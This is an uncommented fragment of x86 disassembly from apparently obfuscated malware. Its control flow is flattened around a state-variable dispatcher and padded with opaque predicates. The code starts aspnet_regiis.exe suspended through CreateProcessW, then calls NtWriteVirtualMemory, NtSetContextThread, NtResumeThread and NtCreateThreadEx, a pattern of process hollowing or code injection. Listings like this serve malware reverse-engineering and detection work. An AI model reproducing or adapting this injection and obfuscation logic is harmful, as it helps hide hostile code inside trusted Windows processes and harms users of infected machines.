call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov eax, dword [0x1006dd28]
mov ecx, dword [0x1006dd24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x34fbe2bb
mov ecx, 0xe529bdeb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
mov edx, ecx
sub edx, 0x9b75a920
sub edx, 1
add edx, 0x9b75a920
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x49891696
mov ecx, 0xee4e8005
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov dword [ebp - 0x174], 0x5765c52a
jmp 0x1000f860
mov dword [ebp - 0x174], 0xb03b9c1d
jmp 0x1000f860
mov ecx, dword [0x1006dd28]
mov eax, dword [0x1006dd24]
mov edx, ecx
add edx, 0x8e8457c5
sub edx, 1
sub edx, 0x8e8457c5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb9cc8f3c
mov ecx, 0xaa625e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000f860
mov dword [ebp - 0x174], 0xe528d762
jmp 0x1000f860
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
add ecx, 0x205ebdde
add ecx, 8
sub ecx, 0x205ebdde
mov eax, dword [ebp - 0x15c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x148]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x174], 0xf173c1d1
jmp 0x1000f860
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x174], 0x494bafb3
jmp 0x1000f860
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x174], 0x56497764
jmp 0x1000f860
mov eax, dword [ebp - 0x150]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x174], 0xd16a819e
jmp 0x1000f860
mov dword [ebp - 0x174], 0xc200ef0f
jmp 0x1000f860
mov dword [ebp - 0x174], 0x36f2ac64
jmp 0x1000f860
mov dword [ebp - 0x174], 0xf01aa661
jmp 0x1000f860
mov dword [ebp - 0x174], 0x74bd87d7
jmp 0x1000f860
mov dword [ebp - 0x174], 0x99ca1112
jmp 0x1000f860
mov dword [ebp - 0x174], 0xe20836b7
jmp 0x1000f860
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x174], 0xa411cf8a
jmp 0x1000f860
mov dword [ebp - 0x174], 0x82a2e546
jmp 0x1000f860
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0xc9965feb
sub ecx, eax
add ecx, 0xc9965feb
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
add ecx, 0xb89c5d8f
add ecx, eax
sub ecx, 0xb89c5d8f
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x15c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xf8]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov dword [ebp - 0x174], 0x2728d589
jmp 0x1000f860
mov dword [ebp - 0x174], 0xfa88d5a4
jmp 0x1000f860
mov eax, dword [ebp - 0x150]
mov edx, dword [eax]
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x174], 0x41aa3ffb
jmp 0x1000f860
jmp 0x1000810f